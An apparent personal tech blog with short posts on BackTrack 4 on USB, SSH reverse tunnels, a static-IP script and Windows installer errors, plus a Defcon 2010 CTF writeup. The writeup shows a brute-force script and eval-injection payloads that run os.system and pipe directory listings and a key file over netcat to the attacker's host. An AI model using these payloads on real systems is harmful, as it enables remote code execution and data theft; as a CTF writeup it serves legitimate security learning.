0

Backtrack4 on USB (on Windows)

-

A simple way to install Backtrack 4 on a USB stick is to use UNetBootin. UNetbootin can be used to create live (i.e., bootable images with a fully functional OS on it) USB images. This is the first time I tried this route and it seems to work alright.
Otherwise, if you are the linux fans, our good old friend dd does a great job.

dd if=bt4-final.iso of=/dev/sda bs=4096 conv=noerror,sync
0

Reverse tunnels

-

SSH is an excellent piece of software which can help you do a lot of things such as have encrypted shells etc. But what makes SSH incredibly flexible is having tunnels.

A typical ssh tunnel works from the client to the ssh server and it forwards a local port on the client to the server seamlessly.

client ----> ssh_conn ----> ssh_server
client --> tunneled_port --> ssh_server
ssh -L 10000:localhost:10000 username@ssh_server

This connection creates a tunneled port on client:10000 i.e., anything sent to this port appears as if it’s automatically sent to ssh_server on port 10000. The localhost here is confusing, but think of it as….”what is localhost for ssh_server?”. It would be the ssh_server itself, right?
If you do a netstat on the client, you see a listener on the port 10000/tcp.

Now comes the more interesting reverse tunnel. The reverse tunnel is different in that, you have a tunnel being initiated by the client that says to the ssh server, “Hey, I’m initiating this connection that will allow you to automatically access a port on *me* after *I* initiate the connection?” (confused!!?!)

client ---> ssh_connection ---> server  ---+
                                           |
client <-- tunneled_port  <----- server ---+
ssh -NR 10000:localhost:10000 user@ssh_server

Here the meaning of localhost is slightly different, though.  The “localhost” means what is localhost for the client (and not on the server as in the previous case)!   So what you’re saying is, “Hey SSH server, I’m initiating this connection to you but if you connect to your port 10000 you will get a tunnel to *my* port 10000.”  If you do a netstat on the server you see a listener on port 10000. Isn’t it great that you can make the server listen to a port which acts as a tunnel to you…so anyone on the server can seamlessly connect to you even though technically you were the client!

0

Kubuntu Static IP Script

-

I wrote a very small script to set static IPs on a kubuntu box.

#!/bin/bash
if [ $# -lt 4 ]
then
    echo "Usage: $0 <interface> <ip> <netmask> <gateway> <dns1>"
exit
fi
ifconfig $1 $2 netmask $3
echo "Static IP set"
route add default gw $4
echo "Routes added"
if [ "$5" != "" ]
then
    echo "nameserver $5" >>/etc/resolv.conf
fi
echo "DNS set"
0

Error: Installshield Engine could not be launched

-

I was being troubled by the error:
The InstallShield Engine (iKernel.exe) could not be launched.
The RPC Server is unavailable.

If you start the service “DCOM Server Process Launcher” you should be able to do away with this error.

0

WDK Installation Error

-

If you are installing Windows Driver Kit (WDK) from Microsoft and you choose to install the Device Simulation Framework (DSF) for USB and such devices, then you need to have the DCOM Server Process Launcher service running otherwise you get errors as cryptic as:
Unexpected Installation Error. Error in installing.
I wish there was more information that could be given in the error. Since I figured this out with only trial and error, I thought I’ll post the solution to this error.

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.